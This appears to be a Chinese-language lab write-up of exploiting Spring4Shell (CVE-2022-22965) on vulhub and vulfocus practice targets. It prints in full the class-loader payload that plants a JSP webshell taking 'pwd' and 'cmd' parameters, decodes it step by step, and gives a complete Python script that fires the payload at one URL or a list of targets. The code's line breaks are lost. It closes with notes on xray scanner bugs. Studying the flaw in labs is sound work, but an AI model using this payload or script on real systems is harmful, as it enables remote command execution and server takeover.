spring4shell和log4shell的相同点,它们都是rce
不同点在于,spring4shell影响spring的框架,log4shell影响基于java的框架
首先确定使用的中间件是apache tomcat
http://demo.ine.local/%2f 发现访问结果是400 bad request
通过tomcat的版本,搜索tomcat/9.0.59 java version,可以找出使用的java版本,漏洞需要java8之后的版本
漏洞利用条件 JDK9及其以上版本; 使⽤了Spring-beans包; 使⽤了Spring参数绑定; Spring参数绑定使⽤的是⾮基本参数类型,例如⼀般的POJO即可;
漏洞原理是什么 修改tomcat日志,利用日志写shell
实验一 ine靶机
使用的exp地址
https://raw.githubusercontent.com/reznok/Spring4Shell-POC/master/exploit.py
实验二 vulhub靶机 cd /pentest/target/vulhub/spring/CVE-2022-22965
docker-compose up -d
http://192.168.18.30:8080/?name=Bob&age=25
实验三 vulfocus docker run -d -p 8082:8080 –name springrce -it vulfocus/spring-core-rce-2022-03-29
git clone https://github.com/TheGejr/SpringShell
python3 exp.py –url http://localhost:8082
分析exp,最关键的payload是这一段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 class.module .classLoader.resources.context .parent.pipeline.first.pattern=%25 %7Bc2 %7Di %20if (%22j %22 .equals(request.getParameter(%22pwd %22 )))%7B %20java .io.InputStream%20in %20 %3D %20 %25 %7Bc1 %7Di .getRuntime().exec(request.getParameter(%22cmd %22 )).getInputStream()%3B %20int %20a %20 %3D %20-1 %3B %20byte %5B %5D %20b %20 %3D %20new %20byte %5B2048 %5D %3B %20while ((a%3Din .read(b))!%3D-1 )%7B %20out .println(new%20String (b))%3B %20 %7D %20 %7D %20 %25 %7Bsuffix %7Di &class.module .classLoader.resources.context .parent.pipeline.first.suffix=.jsp&class.module .classLoader.resources.context .parent.pipeline.first.directory=webapps/ROOT&class.module .classLoader.resources.context .parent.pipeline.first.prefix=tomcatwar&class.module .classLoader.resources.context .parent.pipeline.first.fileDateFormat= --- url解码后得到如下 class.module .classLoader.resources.context .parent.pipeline.first.pattern=%{c2}i if ("j" .equals(request.getParameter("pwd" ))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd" )).getInputStream(); int a = -1 ; byte[] b = new byte[2048 ]; while((a=in .read(b))!=-1 ){ out.println(new String(b)); } } %{suffix}i&class.module .classLoader.resources.context .parent.pipeline.first.suffix=.jsp&class.module .classLoader.resources.context .parent.pipeline.first.directory=webapps/ROOT&class.module .classLoader.resources.context .parent.pipeline.first.prefix=tomcatwar&class.module .classLoader.resources.context .parent.pipeline.first.fileDateFormat= --- 将上一段分割一下,&是连接语句的符号 class.module .classLoader.resources.context .parent.pipeline.first.pattern=%{c2}i if ("j" .equals(request.getParameter("pwd" ))){ java.io.InputStream in = Runtime i.getRuntime().exec(request.getParameter("cmd" )).getInputStream(); int a = -1 ; byte[] b = new byte[2048 ]; while((a=in .read(b))!=-1 ){ out.println(new String(b)); } } %{suffix}i &class.module .classLoader.resources.context .parent.pipeline.first.suffix=.jsp &class.module .classLoader.resources.context .parent.pipeline.first.directory=webapps/ROOT &class.module .classLoader.resources.context .parent.pipeline.first.prefix=tomcatwar &class.module .classLoader.resources.context .parent.pipeline.first.fileDateFormat= Spring参数绑定不过多介绍,可⾃⾏百度;其基本使⽤⽅式就是利⽤ . 的形式,给参数进⾏赋值,实际赋值过程,会使⽤反射调⽤参数的 getter or setter ; --- 上一段里面有几个参数赋值 %{c2} 指的是 <% %{suffix} 指的是 %>// %{c1} 指的是 Runtime 那么上一段可以做一个替换 class.module .classLoader.resources.context .parent.pipeline.first.pattern= <%i if ("j" .equals(request.getParameter("pwd" ))){ java.io.InputStream in = Runtime i.getRuntime().exec(request.getParameter("cmd" )).getInputStream(); int a = -1 ; byte[] b = new byte[2048 ]; while((a=in .read(b))!=-1 ){ out.println(new String(b)); } } %>//i &class.module .classLoader.resources.context .parent.pipeline.first.suffix=.jsp &class.module .classLoader.resources.context .parent.pipeline.first.directory=webapps/ROOT &class.module .classLoader.resources.context .parent.pipeline.first.prefix=tomcatwar &class.module .classLoader.resources.context .parent.pipeline.first.fileDateFormat= 因此变成了jsp一句话,接受参数pwd和cmd 类型是.jsp 文件名是tomcatwar
测试exp CVE-2022-22965_exploit.py https://github.com/cybersecurityworks553/spring4shell-exploit
靶机是存在漏洞的,但是这个脚本没有检测出来
测试exp 2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 from operator import ge import os import argparse import time from rich import console from rich.console import Console console = Console() from pyfiglet import Figlet import multiprocessing import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning import datetime import calendar def Exploit(url): if url[:4 ] != 'http' : url = 'http://' + url if url[-1 ] != '/' : url += '/' headers = { "suffix" :"%>//" , "c1" :"Runtime" , "c2" :"<%", " DNT":" 1 ", " Content-Type":" application/x -www-form-urlencoded" } now = datetime.datetime.now() now_time = now.strftime(" %Y-%m-%d %H:%M:%S") # print(now_time) data = " class.module.classLoader.resources.context.parent.pipeline.first.pattern=%24%7Bc2%7 Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7 B%20java.io.InputStream%20in%20 %3 D%20 %25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3 B%20int%20a%20 %3 D%20-1 %3 B%20byte%5 B%5 D%20b%20 %3 D%20new%20byte%5B2048%5 D%3 B%20while((a%3Din.read(b))!%3D-1 )%7 B%20out.println(new%20String(b))%3 B%20 %7 D%20 %7 D%20 %25%7 Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar1234&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="+now_time # print(data) try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) response = requests.post(url=url,data=data, headers=headers, verify=False, timeout=10) shellurl = url + 'tomcatwar1234'+now_time+'.jsp' header = { " Content-Type": " application/x -www-form-urlencoded" } response_shell = requests.get(url=shellurl,headers=header,verify=False,timeout=10) if response.status_code == 200: print(f" 正在写入shell!!!!!") if response_shell.status_code == 200: print(f" 漏洞存在,shell地址为:{shellurl} ?pwd=j&cmd=whoami") else: print(f" shell访问失败或者shell写入失败!!!") else: print(f" 地址{url} 不存在该漏洞!!") except Exception as e: print(e) pass def Exploit_get(url): if url[:4] != 'http': url = 'http://' + url if url[-1] != '/': url += '/' headers = { " suffix":" %>//", " c1":" Runtime", " c2":" <%", "DNT" :"1" , "Content-Type" :"application/x-www-form-urlencoded" } now = datetime.datetime.now() data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar1234&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" get_url = url+"?" +data try: requests.packages.urllib3.disable_warnings(InsecureRequestWarning) requests_get = requests.get(url=get_url,headers=headers,verify=False,timeout=10 ) shellurl = url + 'tomcatwar1234.jsp' header = { "Content-Type" : "application/x-www-form-urlencoded" } response_shell = requests.get(url=shellurl,headers=header,verify=False,timeout=10 ) if requests_get.status_code == 200 : print (f"正在写入shell!!!!!" ) if response_shell.status_code == 200 : print (f"漏洞存在,shell地址为:{shellurl}?pwd=j&cmd=whoami" ) else : print (f"shell访问失败或者shell写入失败!!!" ) else : print (f"地址{url}不存在该漏洞!!" ) except Exception as e: print (e) pass def main(): console.print (Figlet(font='smslant' ,width=200 ).renderText('Spring_Core_RCE' ), style='bold yellow' ) try: parser = argparse.ArgumentParser() parser.add_argument('-u' ,'--url' ,dest='url' ,help='Target_url' ) parser.add_argument('-f' ,'--file' ,dest='file' ,help='Target_file' ) args = parser.parse_args() if args.file: with open (args.file) as f: for i in f.readlines(): i=i.strip() time.sleep(1 ) print (f'\033[1;35;47mPOST请求开始getshell\033[0m' ) Exploit(i) time.sleep(2 ) print (f'\033[1;35;47mGET请求开始getshell\033[0m' ) Exploit_get(i) print ('\n' ) print ('\n' ) elif args.url: print (f'\033[1;35;47mPOST请求开始getshell\033[0m' ) Exploit(args.url) time.sleep(2 ) print (f'\033[1;35;47mGET请求开始getshell\033[0m' ) Exploit_get(args.url) print ('\n' ) else : console.print ('缺少URL目标, 请使用 [-u URL] or [-f FILE]' ) except KeyboardInterrupt: console.print ('\nCTRL+C 退出' , style='reverse bold red' )if __name__ == '__main__' : main()
总结 根据以上的资料编写了poc,但是xray出现了一个bug
[ERRO] 2022-05-31 22:29:11 [controller:runner.go:79] recover panic: poc-yaml-CVE-2022-22965-spring-core-RCEruntime error: invalid memory address or nil pointer dereference
这个暂时没办法解决
然后poc跑第一次,xray不报告漏洞,poc跑第二次报告漏洞。
也暂时没办法解决
参考资料